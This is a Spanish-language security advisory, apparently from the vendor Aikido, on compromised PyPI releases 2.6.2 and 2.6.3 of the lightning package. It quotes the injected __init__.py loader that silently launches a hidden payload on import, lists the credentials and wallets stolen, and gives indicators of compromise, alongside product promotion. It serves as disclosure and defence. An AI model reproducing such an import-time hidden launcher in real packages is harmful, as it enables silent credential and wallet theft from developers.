La campaña de cadena de suministro Mini Shai-Hulud se ha extendido a PyPI. Versiones 2.6.2 y 2.6.3 del popular lightning paquete de Python, ampliamente utilizado para entrenar modelos de PyTorch, contiene código malicioso que exfiltra silenciosamente credenciales de desarrollador, secretos de la nube y monederos de criptomonedas.
Esto ocurre después de dos ataques recientes en la misma campaña: el compromiso de npm de Bitwarden CLI y el compromiso de npm de SAP. El mismo atacante, el mismo gusano, ahora pasando de npm a PyPI.
Si está utilizando lightning==2.6.2 o lightning==2.6.3, considere su máquina comprometida.
Cómo funciona
El ataque se inyecta directamente en __init__.py, el archivo que se ejecuta en el momento en que importa el paquete. Se genera un hilo en segundo plano antes de que se cargue cualquier código legítimo de Lightning:
def _run_runtime() -> None:
_runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
_start = os.path.join(_runtime_dir, "start.py")
if os.path.exists(_start):
subprocess.Popen(
[sys.executable, _start],
cwd=_runtime_dir,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
threading.Thread(target=_run_runtime, daemon=True).start()Ejecuta start.py, un arrancador Bun multiplataforma que detecta su sistema operativo y arquitectura, descarga el runtime de JavaScript Bun v1.3.13 y ejecuta router_runtime.js, la carga útil principal de 11 MB. El mismo patrón utilizado en los recientes ataques de Bitwarden y SAP.
Qué roba
Claves SSH, historiales de shell (bash, zsh, Python, Node, MySQL, psql), .env archivos, credenciales de Git, credenciales de AWS/GCP/Azure, configuraciones de Kubernetes y Helm, credenciales de Docker, tokens de npm y configuraciones de MCP. Monederos de criptomonedas, incluyendo Bitcoin, Litecoin, Monero, Dogecoin, Dash, Exodus, Atomic y Ledger. Credenciales de VPN para NordVPN, ProtonVPN, CyberGhost, Windscribe y OpenVPN. Datos de sesión de Discord y Slack.
Todos los datos robados se cifran con RSA-2048 antes de ser exfiltrados a repositorios públicos de GitHub:

Cómo Aikido detecta esto
Si es usuario de Aikido, revise su feed central y filtre por problemas de malware. Esto aparecerá como un problema crítico de 100/100. Aikido realiza reescaneos cada noche, pero recomendamos activar un reescaneo manual ahora.
Si aún no es usuario de Aikido, puede crear una cuenta y conectar sus repositorios. Nuestra cobertura de malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Para una cobertura más amplia en todo su equipo, el Endpoint Protection de Aikido le proporciona visibilidad y control sobre los paquetes de software instalados en los dispositivos de su equipo. Cubre extensiones de navegador, librerías de código, plugins de IDE y dependencias de compilación, todo en un solo lugar. Detenga el malware antes de que se instale.
Para una protección futura, considere Aikido Safe Chain (código abierto). Safe Chain se integra en su flujo de trabajo existente, interceptando comandos npm, npx, yarn, pnpm y pnpx y verificando los paquetes con Aikido Intel antes de la instalación.
IOCs
- Paquete:
lightning==2.6.2,lightning==2.6.3 - router_runtime.js
- SHA256:
5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1
- SHA256:
- start.py
- SHA256:
8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2
- SHA256:

